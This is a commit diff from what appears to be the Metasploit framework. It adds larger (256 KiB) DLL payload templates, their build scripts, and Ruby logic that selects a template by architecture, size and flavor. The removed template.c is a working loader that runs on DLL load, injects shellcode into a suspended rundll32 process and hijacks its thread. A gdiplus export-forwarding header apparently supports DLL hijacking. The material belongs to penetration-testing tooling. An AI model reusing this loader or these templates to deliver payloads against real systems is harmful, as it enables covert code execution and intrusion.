Land #17594, Add larger DLL templates
This commit is contained in:
commit
e7da4c4612
|
@ -0,0 +1,10 @@
|
|||
# PE Source Code
|
||||
This directory contains the source code for the PE executable templates.
|
||||
|
||||
## Building DLLs
|
||||
Use the provided `build_dlls.bat` file, and run it from within the Visual Studio
|
||||
developer console. The batch file requires that the `%VCINSTALLDIR%` environment
|
||||
variable be defined (which it should be by default). The build script will
|
||||
create both the x86 and x64 templates before moving them into the correct
|
||||
folder. The current working directory when the build is run must be the source
|
||||
code directory (`pe`).
|
|
@ -0,0 +1,7 @@
|
|||
@echo off
|
||||
|
||||
for /D %%d in (dll*) do (
|
||||
pushd "%%d"
|
||||
build.bat
|
||||
popd
|
||||
)
|
|
@ -3,12 +3,13 @@
|
|||
if "%~1"=="" GOTO NO_ARGUMENTS
|
||||
echo Compiling for: %1
|
||||
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
|
||||
cl /LD /GS- /DBUILDMODE=2 template.c /Fe:template_%1_windows.dll /link kernel32.lib /entry:DllMain /subsystem:WINDOWS
|
||||
rc /v template.rc
|
||||
cl /LD /GS- /DBUILDMODE=2 template.c /Fe:template_%1_windows.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
|
||||
cl /LD /GS- /DBUILDMODE=2 /DSCSIZE=262144 template.c /Fe:template_%1_windows.256kib.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
|
||||
exit /B
|
||||
|
||||
:NO_ARGUMENTS
|
||||
%COMSPEC% /c "%0" x86
|
||||
%COMSPEC% /c "%0" x64
|
||||
del *.obj
|
||||
del *.obj *.res
|
||||
move *.dll ..\..\..
|
||||
|
||||
|
|
|
@ -1,5 +1,6 @@
|
|||
|
||||
#ifndef SCSIZE
|
||||
#define SCSIZE 4096
|
||||
#endif
|
||||
unsigned char code[SCSIZE] = "PAYLOAD:";
|
||||
char szSyncNameS[MAX_PATH] = "Local\\Semaphore:Default\0";
|
||||
char szSyncNameE[MAX_PATH] = "Local\\Event:Default\0";
|
||||
|
|
|
@ -0,0 +1,15 @@
|
|||
@echo off
|
||||
|
||||
if "%~1"=="" GOTO NO_ARGUMENTS
|
||||
echo Compiling for: %1
|
||||
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
|
||||
rc /v /fo template.res ../dll/template.rc
|
||||
cl /LD /GS- /DBUILDMODE=2 /I . /FI exports.h ../dll/template.c /Fe:template_%1_windows_dccw_gdiplus.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
|
||||
cl /LD /GS- /DBUILDMODE=2 /DSCSIZE=262144 /I . /FI exports.h ../dll/template.c /Fe:template_%1_windows_dccw_gdiplus.256kib.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
|
||||
exit /B
|
||||
|
||||
:NO_ARGUMENTS
|
||||
%COMSPEC% /c "%0" x86
|
||||
%COMSPEC% /c "%0" x64
|
||||
del *.exp *.lib *.res *.obj
|
||||
move *.dll ..\..\..
|
|
@ -1,24 +0,0 @@
|
|||
#
|
||||
# XXX: NOTE: this will only compile the x86 version.
|
||||
#
|
||||
# To compile the x64 version, use:
|
||||
# C:\> call "c:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\vcvarsall.bat" amd64
|
||||
# C:\> cl.exe -LD /Zl /GS- /DBUILDMODE=2 /link /entry:DllMain kernel32.lib
|
||||
#
|
||||
|
||||
if [ -z "$PREFIX" ]; then
|
||||
PREFIX=i686-w64-mingw32
|
||||
fi
|
||||
|
||||
rm -f *.o *.dll
|
||||
$PREFIX-gcc -c template.c
|
||||
$PREFIX-windres -o rc.o template.rc
|
||||
$PREFIX-gcc -mdll -o junk.tmp -Wl,--base-file,base.tmp template.o rc.o
|
||||
rm -f junk.tmp
|
||||
$PREFIX-dlltool --dllname template_x86_windows.dll --base-file base.tmp --output-exp temp.exp #--def template.def
|
||||
rm -f base.tmp
|
||||
$PREFIX-gcc -mdll -o template_x86_windows.dll template.o rc.o -Wl,temp.exp
|
||||
rm -f temp.exp
|
||||
|
||||
$PREFIX-strip template_x86_windows.dll
|
||||
rm -f *.o
|
|
@ -1,6 +1,3 @@
|
|||
#define SCSIZE 2048
|
||||
unsigned char code[SCSIZE] = "PAYLOAD:";
|
||||
|
||||
#ifdef _MSC_VER
|
||||
#pragma comment (linker, "/export:GdipAlloc=c:/windows/system32/gdiplus.GdipAlloc,@34")
|
||||
#pragma comment (linker, "/export:GdipCloneBrush=c:/windows/system32/gdiplus.GdipCloneBrush,@46")
|
|
@ -1,97 +0,0 @@
|
|||
#include <windows.h>
|
||||
#include "template.h"
|
||||
|
||||
/* hand-rolled bzero allows us to avoid including ms vc runtime */
|
||||
void inline_bzero(void *p, size_t l)
|
||||
{
|
||||
|
||||
BYTE *q = (BYTE *)p;
|
||||
size_t x = 0;
|
||||
for (x = 0; x < l; x++)
|
||||
*(q++) = 0x00;
|
||||
}
|
||||
|
||||
void ExecutePayload(void);
|
||||
|
||||
BOOL WINAPI
|
||||
DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
ExecutePayload();
|
||||
break;
|
||||
|
||||
case DLL_PROCESS_DETACH:
|
||||
// Code to run when the DLL is freed
|
||||
break;
|
||||
|
||||
case DLL_THREAD_ATTACH:
|
||||
// Code to run when a thread is created during the DLL's lifetime
|
||||
break;
|
||||
|
||||
case DLL_THREAD_DETACH:
|
||||
// Code to run when a thread ends normally.
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void ExecutePayload(void) {
|
||||
int error;
|
||||
PROCESS_INFORMATION pi;
|
||||
STARTUPINFO si;
|
||||
CONTEXT ctx;
|
||||
DWORD prot;
|
||||
LPVOID ep;
|
||||
|
||||
// Start up the payload in a new process
|
||||
inline_bzero( &si, sizeof( si ));
|
||||
si.cb = sizeof(si);
|
||||
|
||||
// Create a suspended process, write shellcode into stack, make stack RWX, resume it
|
||||
if(CreateProcess( 0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {
|
||||
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
|
||||
GetThreadContext(pi.hThread, &ctx);
|
||||
|
||||
ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
|
||||
|
||||
#ifdef _WIN64
|
||||
ctx.Rip = (DWORD64)ep;
|
||||
#else
|
||||
ctx.Eip = (DWORD)ep;
|
||||
#endif
|
||||
|
||||
SetThreadContext(pi.hThread,&ctx);
|
||||
|
||||
ResumeThread(pi.hThread);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
}
|
||||
// ExitProcess(0);
|
||||
ExitThread(0);
|
||||
}
|
||||
|
||||
/*
|
||||
typedef VOID
|
||||
(NTAPI *PIMAGE_TLS_CALLBACK) (
|
||||
PVOID DllHandle,
|
||||
ULONG Reason,
|
||||
PVOID Reserved
|
||||
);
|
||||
|
||||
VOID NTAPI TlsCallback(
|
||||
IN PVOID DllHandle,
|
||||
IN ULONG Reason,
|
||||
IN PVOID Reserved)
|
||||
{
|
||||
__asm ( "int3" );
|
||||
}
|
||||
|
||||
ULONG _tls_index;
|
||||
PIMAGE_TLS_CALLBACK _tls_cb[] = { TlsCallback, NULL };
|
||||
IMAGE_TLS_DIRECTORY _tls_used = { 0, 0, (ULONG)&_tls_index, (ULONG)_tls_cb, 1000, 0 };
|
||||
*/
|
||||
|
|
@ -1,3 +0,0 @@
|
|||
EXPORTS
|
||||
DllMain@12
|
||||
|
|
@ -1,18 +0,0 @@
|
|||
|
||||
LANGUAGE 9, 1
|
||||
|
||||
|
||||
VS_VERSION_INFO VERSIONINFO
|
||||
FILEVERSION 0,0,0,1
|
||||
PRODUCTVERSION 0,0,0,1
|
||||
FILEFLAGSMASK 0x17L
|
||||
FILEFLAGS 0x0L
|
||||
FILEOS 0x4L
|
||||
FILETYPE 0x2L
|
||||
FILESUBTYPE 0x0L
|
||||
BEGIN
|
||||
|
||||
END
|
||||
|
||||
#define RT_HTML 23
|
||||
|
|
@ -4,6 +4,7 @@ if "%~1"=="" GOTO NO_ARGUMENTS
|
|||
echo Compiling for: %1
|
||||
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
|
||||
cl /CLR /LD /GS- /I ..\dll /DBUILDMODE=2 template.cpp /Fe:template_%1_windows_mixed_mode.dll /link mscoree.lib kernel32.lib /entry:DllMain /subsystem:WINDOWS
|
||||
cl /CLR /LD /GS- /I ..\dll /DBUILDMODE=2 /DSCSIZE=262144 template.cpp /Fe:template_%1_windows_mixed_mode.256kib.dll /link mscoree.lib kernel32.lib /entry:DllMain /subsystem:WINDOWS
|
||||
exit /B
|
||||
|
||||
:NO_ARGUMENTS
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -530,7 +530,7 @@ require 'digest/sha1'
|
|||
|
||||
case opts[:exe_type]
|
||||
when :service_exe
|
||||
max_length = 8192
|
||||
opts[:exe_max_sub_length] ||= 8192
|
||||
name = opts[:servicename]
|
||||
if name
|
||||
bo = pe.index('SERVICENAME')
|
||||
|
@ -541,18 +541,18 @@ require 'digest/sha1'
|
|||
end
|
||||
pe[136, 4] = [rand(0x100000000)].pack('V') unless opts[:sub_method]
|
||||
when :dll
|
||||
max_length = 4096
|
||||
opts[:exe_max_sub_length] ||= 4096
|
||||
when :exe_sub
|
||||
max_length = 4096
|
||||
opts[:exe_max_sub_length] ||= 4096
|
||||
end
|
||||
|
||||
bo = self.find_payload_tag(pe, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag")
|
||||
|
||||
if code.length <= max_length
|
||||
if code.length <= opts.fetch(:exe_max_sub_length)
|
||||
pe[bo, code.length] = [code].pack("a*")
|
||||
else
|
||||
raise RuntimeError, "The EXE generator now has a max size of " +
|
||||
"#{max_length} bytes, please fix the calling module"
|
||||
"#{opts[:exe_max_sub_length]} bytes, please fix the calling module"
|
||||
end
|
||||
|
||||
if opts[:exe_type] == :dll
|
||||
|
@ -671,6 +671,40 @@ require 'digest/sha1'
|
|||
exe_sub_method(code,opts)
|
||||
end
|
||||
|
||||
# self.set_template_default_winpe_dll
|
||||
#
|
||||
# Set the default winpe DLL template. It will select the template based on the parameters provided including the size
|
||||
# architecture and an optional flavor. See data/templates/src/pe for template source code and build tools.
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @param arch The architecture, as one the predefined constants.
|
||||
# @param size [Integer] The size of the payload.
|
||||
# @param flavor [Nil,String] An optional DLL flavor, one of 'mixed_mode' or 'dccw_gdiplus'
|
||||
private_class_method def self.set_template_default_winpe_dll(opts, arch, size, flavor: nil)
|
||||
return if opts[:template].present?
|
||||
|
||||
# dynamic size upgrading is only available when MSF selects the template because there's currently no way to
|
||||
# determine the amount of space that is available in the template provided by the user so it's assumed to be 4KiB
|
||||
match = {4096 => '', 262144 => '.256kib'}.find { |k,v| size <= k }
|
||||
if match
|
||||
opts[:exe_max_sub_length] = match.first
|
||||
size_suffix = match.last
|
||||
end
|
||||
|
||||
arch = {ARCH_X86 => 'x86', ARCH_X64 => 'x64'}.fetch(arch, nil)
|
||||
raise ArgumentError, 'The specified arch is not supported, no DLL templates are available for it.' if arch.nil?
|
||||
|
||||
if flavor.present?
|
||||
unless %w[mixed_mode dccw_gdiplus].include?(flavor)
|
||||
raise ArgumentError, 'The specified flavor is not supported, no DLL templates are available for it.'
|
||||
end
|
||||
|
||||
flavor = '_' + flavor
|
||||
end
|
||||
|
||||
set_template_default(opts, "template_#{arch}_windows#{flavor}#{size_suffix}.dll")
|
||||
end
|
||||
|
||||
# self.to_win32pe_dll
|
||||
#
|
||||
# @param framework [Msf::Framework] The framework of you want to use
|
||||
|
@ -681,13 +715,8 @@ require 'digest/sha1'
|
|||
# @option [String] :inject
|
||||
# @return [String]
|
||||
def self.to_win32pe_dll(framework, code, opts = {})
|
||||
# Allow the user to specify their own DLL template
|
||||
if opts.fetch(:mixed_mode, false)
|
||||
default_exe_template = 'template_x86_windows_mixed_mode.dll'
|
||||
else
|
||||
default_exe_template = 'template_x86_windows.dll'
|
||||
end
|
||||
set_template_default(opts, default_exe_template)
|
||||
flavor = opts.fetch(:mixed_mode, false) ? 'mixed_mode' : nil
|
||||
set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: flavor)
|
||||
opts[:exe_type] = :dll
|
||||
|
||||
if opts[:inject]
|
||||
|
@ -707,13 +736,9 @@ require 'digest/sha1'
|
|||
# @option [String] :inject
|
||||
# @return [String]
|
||||
def self.to_win64pe_dll(framework, code, opts = {})
|
||||
# Allow the user to specify their own DLL template
|
||||
if opts.fetch(:mixed_mode, false)
|
||||
default_exe_template = 'template_x64_windows_mixed_mode.dll'
|
||||
else
|
||||
default_exe_template = 'template_x64_windows.dll'
|
||||
end
|
||||
set_template_default(opts, default_exe_template)
|
||||
flavor = opts.fetch(:mixed_mode, false) ? 'mixed_mode' : nil
|
||||
set_template_default_winpe_dll(opts, ARCH_X64, code.size, flavor: flavor)
|
||||
|
||||
opts[:exe_type] = :dll
|
||||
|
||||
if opts[:inject]
|
||||
|
@ -724,7 +749,7 @@ require 'digest/sha1'
|
|||
end
|
||||
|
||||
|
||||
# self.to_win32pe_dll
|
||||
# self.to_win32pe_dccw_gdiplus_dll
|
||||
#
|
||||
# @param framework [Msf::Framework] The framework of you want to use
|
||||
# @param code [String]
|
||||
|
@ -734,18 +759,11 @@ require 'digest/sha1'
|
|||
# @option [String] :inject
|
||||
# @return [String]
|
||||
def self.to_win32pe_dccw_gdiplus_dll(framework, code, opts = {})
|
||||
# Allow the user to specify their own DLL template
|
||||
set_template_default(opts, "template_x86_windows_dccw_gdiplus.dll")
|
||||
opts[:exe_type] = :dll
|
||||
|
||||
if opts[:inject]
|
||||
self.to_win32pe(framework, code, opts)
|
||||
else
|
||||
exe_sub_method(code,opts)
|
||||
end
|
||||
set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: 'dccw_gdiplus')
|
||||
to_win32pe_dll(framework, code, opts)
|
||||
end
|
||||
|
||||
# self.to_win64pe_dll
|
||||
# self.to_win64pe_dccw_gdiplus_dll
|
||||
#
|
||||
# @param framework [Msf::Framework] The framework of you want to use
|
||||
# @param code [String]
|
||||
|
@ -755,15 +773,8 @@ require 'digest/sha1'
|
|||
# @option [String] :inject
|
||||
# @return [String]
|
||||
def self.to_win64pe_dccw_gdiplus_dll(framework, code, opts = {})
|
||||
# Allow the user to specify their own DLL template
|
||||
set_template_default(opts, "template_x64_windows_dccw_gdiplus.dll")
|
||||
opts[:exe_type] = :dll
|
||||
|
||||
if opts[:inject]
|
||||
raise RuntimeError, 'Template injection unsupported for x64 DLLs'
|
||||
else
|
||||
exe_sub_method(code,opts)
|
||||
end
|
||||
set_template_default_winpe_dll(opts, ARCH_X64, code.size, flavor: 'dccw_gdiplus')
|
||||
to_win64pe_dll(framework, code, opts)
|
||||
end
|
||||
|
||||
# Wraps an executable inside a Windows .msi file for auto execution when run
|
||||
|
|
Loading…
Reference in New Issue